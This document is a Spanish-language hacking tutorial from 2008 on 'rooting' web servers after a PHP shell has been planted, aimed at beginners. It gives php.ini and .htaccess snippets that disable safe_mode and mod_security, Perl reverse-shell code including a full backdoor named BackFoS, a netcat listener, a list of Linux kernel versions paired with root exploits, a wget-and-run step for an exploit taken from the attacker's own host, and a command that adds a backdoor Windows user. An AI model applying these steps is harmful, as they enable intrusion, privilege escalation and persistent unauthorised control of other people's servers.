Sei sulla pagina 1di 7

Rootear Servidores

Por Vengador de las Sombras (F.O.S TEAM)

0X00 INDICE
0x01 Introduccin
0x02 Habilitar funciones (bypassing)
0x02~01 Safe_mode
0x02~02 Mod_security
0x03 Shell inversa
0x04 Rootear el servidor
0x04~01 Servidores con Linux
0x04~02 Servidores con Win32
0x05 Despedida y Agradecimiento s

0X01 INTRODUCCIN
El tema de "tengo una shell en el servidor, ahora que hago" seguro que nos suena de
haberlo leido reitaradas veces en muchos foros. Y es que esta es una de las dudas
existenciales cuando empiezas en este mundillo... Qu hacer con tu shell?.

Pues para las personas que tienen esta duda, va dirigido esta gua. La idea original de
crear dicha gua me la di hace ya tiempo Lssim. En aquel momento le expliqu de una
forma "muy breve" el como rootear un servidor... pero en aquella ocasin se lo expliqu
todo color de rosa, es decir sin ningun tipo de complicacin. La idea de la guia se fue
dejando de lado... hasta que antes de irme a la Universidad decidi crearla.

0X02 HABILITAR FUNCIONES (BYPASSING)


El primer problema con el que solemos encontrarnos a la hora de "juankear" un servidor,
suele ser el que tenemos ciertas funciones deshabilitadas por culpa del "Safe_Mode", o
tenemos algn problema con el Mod_Security. Cualesquiera que sea el caso del que nos d
problemas, en este captulo hablaremos de como saltar, de como "bypassear" estas
restricciones que nos encontramos.

Cuando tenemos una shell subida a un servidor, usualmente nuestro primer objetivo es el
lograr habilitar aquellas funciones que vamos a necesitar, para poder desenvolvernos de la
forma ms sencilla por todo el servidor. A continuacin pasamos a explicar detalladamente
distintos bypassing.

0X02~01 SAFE_MODE
El Safe_Mode o Modo Seguro, es una configuracin que se suele seguir mucho en los
servidores que suelen ser de hospedaje, es decir, en aquellos que cada usuario tiene un
/home/ diferente donde se alojan, teniendo el servidor as diferentes /home/, uno por cada
usuario. Para evitar el que un usuario pueda interferir de algn modo en el normal
funcionamiento de otro, estos servidores suelen adoptar una configuracin de Modo
Seguro.

Esta configuracin lo que hace es inhabilitar ciertas funciones PHP que puedan tacharse
como "peligrosas", tales como funciones de ejecucin (Eval, System, exec...) y algunas
otras como rename, copy, etc. Realmente no es que deshabiliten la totalidad de stas
funciones, sino que bloquean su uso nicamente al dueo del fichero.

Como nos habremos dado cuenta ya, Safe_Mode representa una barrera que debemos de
saltar para poder "hacer algo" dentro del servidor. Para bypassear el Safe_Mode, existen
diversas formas.

La primera de todas es usando algn exploit que vulnere la versin PHP que est corriendo
el servidor. Normalmente deben de ejecutar el cdigo del exploit en la shell. Cmo
hacemos esto?. Si alguna vez han manejado una R57 o una C99, habrn observado que
existe un apartado donde pone "Run PHP Code" o similar. Deben de colocar ah el cdigo
del exploit y lo ejecutan.

Una segunda forma para realizar un bypassing es el subir al mismo path donde se
encuentra nuestra shell un archivo de configuracin php.ini. Esto se hace as porque el
safe_mode se configura como ON en la configuracin de PHP. Entonces lo que vamos a
hacer, es colocar un archivo de configuracin dentro del mismo path en el que tenemos
nuestra shell para deshabilitar en este path el Safe_Mode. EL source del .ini es el siguiente:

Cdigo: [Seleccionar]

[PHP]
register_globals=On
engine=On
safe_mode=Off
safe_mode_exec_dir=On
safe_mode_include_dir =On
Pues ya sabemos cmo bypassear el safe_mode para poder movernos con soltura dentro
del servidor.

0X02~02 MOD_SECURITY
Otra medida de seguridad que en muchas ocasiones necesitamos bypassear es el
Mod_Security de Apache. Mod_Security es muy molesto para trabajar en el servidor... as
que tendremos que bypassearlo editando el fichero .htaccess. Deberemos de aadir al
fichero .htaccess

Cdigo: [Seleccionar]
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
&/IfModule>

Con esto y el bypass de Safe_Mode tendramos la mitad del asunto hecho

0X03 SHELL INVERSA


El caso es que usar la shell en PHP para empezar est bien, pero cuando ya has conseguido
realizar los bypass y lo que buscas es manejarte y tratar de rootear el servidor, siempre es
mejor tener una shell sobre la que ejecutar instrucciones.

Como bien sabemos ya por NetCat, la shell inversa es la mejor forma de tener el control
del servidor. Mayormente es preferible una inversa a una directa porque el firewall, en
principio, casi siempre permite conexiones salientes, pero no entrantes.

Entonces nuestro objetivo ser codear alguna aplicacin que nos d una shell inversa en
el puerto que elijamos. Yo normalmente codeo los backdoors en PERL, ya que el uso de
socket es muy sencillo. Por otra parte, existen otras personas que prefieren usar Backdoors
codeadas por terceros, como la Datacha0s, o la BackConnect del D.O.M. Personalmente
siempre apoyo el "codeate t mismo tus herramientas" para depender menos de terceros.
As que aqui os dejo un PoC :

Cdigo: [Seleccionar]
print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
|| die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
|| die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
$ejecutor = "/bin/bash";
system($ejecutor);

Esa es una pequea idea, estudiad Perl para poder implementar esta idea. El caso es que
con eso lanzaramos un socket al host y puerto que hayamos puesto. Aqui les dejo la
BackFoS (el backdoor que codee para el FOS TEAM) en su version 0.2. Actualmente
estamos trabajando con la 0.3 (le he aadido unos pocos errores anti-kiddies):

Cdigo: [Seleccionar]
#!/usr/bin/perl

########### BackFoS v0.2 - By FoS TeaM - [priv8] ##########


# #
# BackFoS is a Backdoor in PERL for all Servers #
# c0dex by Vengador de las Sombras #
# #
# USAGE: Perl BackFoS.pl #
# You need have listen nc, cryptcar, putty or other #
# program on to connect with the backdoor #
# #
#=========================================================#
# #
# Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k, #
# Lssim Trlom, Phonix & ArgeniversoHack & #RE members #
# Especial Thanx To Plaga, for the help =) #
# #
#################### (c)FoS TeaM 2008 #####################

#use IO::Socket;

print q(

=================================================
BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 5){
print "\nUsage: BackFoS.pl
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "[+]Connecting to $host ...";


socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
|| die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
|| die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::BackFoS v0.2 - FoS TeaM - [Priv8]\n";


if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
sistem($ejecutor);
}

Antes de mandar la shell, debemos de ejecutar en nuestra propia shell lo siguiente:

nc -lvvp 90

Podemos usar NetCat, o cualquier otro programa que sirva para hacer negociaciones
TCP/IP. El caso es que as dejamos a la escucha netcat para que reciba la shell. Desde la
shell .php que tenemos en el servidor ejecutamos lo siguiente:

perl

et voil ya podemos manejarnos dentro de la shell del servidor. Normalmente desde esta
shell tendremos ms flexibilidad que con la shell .php.
0X04 ROOTEAR EL SERVIDOR
Ya hemos llegado al apartado crucial de este paper. Cuando hablamos de rootear un
servidor, a lo que nos referimos es a conseguir ser root del servidor, es decir, poder hacer
lo que se nos antoje dentro del servidor. Aqui vamos a diferenciar entre servidores que
corren con Linux y los que corren con Win32

0X04~01 SERVIDORES CON LINUX


Cuando rooteamos un servidor que corre con el sistema operativo Linux, lo que haremos
ser atacar al kernel (en caso de que sea una versin vulnerable) para que elevemos
privilegios.

En este caso partimos de la base de que ya estamos controlando una shell inversa
procedente del servidor. Lo primero que deberemos de hacer ser comprobar si la versin
del kernel es vulnerable. Para ello deberemo sde ejecutar la instruccion uname -r. Aqui les
dejo un listado de kernels y posibles rootexploits que los vulneran:

2.4.17=> "newlocal kmod uselib24",


2.4.18=> "brk brk2 newlocal kmod",
2.4.19=> "brk brk2 newlocal kmod",
2.4.20=> "ptrace kmod ptrace-kmod brk brk2",
2.4.21=> "brk brk2 ptrace ptrace-kmod",
2.4.22=> "brk brk2 ptrace ptrace-kmod",
2.4.22-10=> "loginx",
2.4.23=> "mremap_pte",
2.4.24=> "mremap_pte uselib24",
2.4.25-1=> "uselib24",
2.4.27=> "uselib24",
2.6.2=> "mremap_pte krad h00lyshit",
2.6.5=> "krad krad2 h00lyshit",
2.6.6=> "krad krad2 h00lyshit",
2.6.7=> "krad krad2 h00lyshit",
2.6.8=> "krad krad2 h00lyshit",
2.6.8-5=> "krad2 h00lyshit",
2.6.9=> "krad krad2 h00lyshit",
2.6.9-34=> "r00t h00lyshit",

o hice una tool para el team que se encargaba precisamente de eso, de mostrar los
posibles rootexploit a partir de ese listad (creas una matriz asociativa, dejando las Keys
como las versiones y los Values con los rootexploits, despues lo que haces es ejecutar
uname -r y creas un patron de bsqueda que compruebe si en el output aparece alguna
version de kernel que tengamos en el hash).

Bien desde la shell remota lo que haremos ser movernos hasta un directorio donde
podamos ejecutar archivos. Normalmente se suele recurrir a /tmp o se hace un find . -type
d -perm (los que necesiemos buscar)

Bueno, si ya estamso en el directorio, ahora debemos de descargar nuestro rootexploit al


servidor usando el comando wget (wget http://mihost.com/del/exploit). Tras haber
descargado nuestro rootexploit, deberemos de darle permisos de ejecuccion (777) usando
el comando chmod:

Cdigo:

chmod 777 rootexploit

Y ya solo nos quedara ejecutarlo con ./rootexploit. Si todo ha salido bien, deberamos de
ser root ya.

0X04~02 SERVIDORES CON WIN32


Los ms puristas llaman a esto "Semi-rootear" el servidor... pero bueno. Yo aprend
siguiendo un paper que public You_kn0w. La idea es crear un usuario en el servidor con
permisos de administrador a travs de los comandos net. Es por ello que es necesario tener
el safe_mode off, para poder ejecutar comandos.

El "ataque" se inicia desde la shell que tengamos en el servidor. All lo que hacemos es
ejecutar las siguientes instrucciones:

Cdigo:

net user FoS 123456 /add

Para aquellos que sepan algo de batch, sabrn que lo que hemos hecho ha sido crear un
usuario llamado FoS cuya password es 123456. Bien ahora nos vamos a inicio -&gt;
ejecutar y escribimos mstsc.exe

Se nos abrir una ventania. Ah vamos a opciones y rellenamos los campos, a excepcin de
Equipo. En ese campo deberemos de poner la IP del servidor donde nosotros nos habamos
creado el usuario. Podemos o bien hacer ping al servidor o bien hacer desde la shell
ipconfig y sacar la IP.

0X05 DESPEDIDA Y AGRADECIMIENTOS

Bien, creo que al final este paper ha quedado como una buena introduccin a las newbies
que empiezan en este mundo. Por otra parte creo que podra expandirse un poco ms...
pero bueno eso para otra ocasin. Espero les haya sido de utilidad.

Gr3tz to: FoS TeaM (Chipbios &amp; Mace Windu), Askata, Chr0n05, Lssim, Lutscher,
Keynet, Fr34k, N.O.X. Tambien agradecer a mi betatester S e t H y a mi gran colega Plaga.

Potrebbero piacerti anche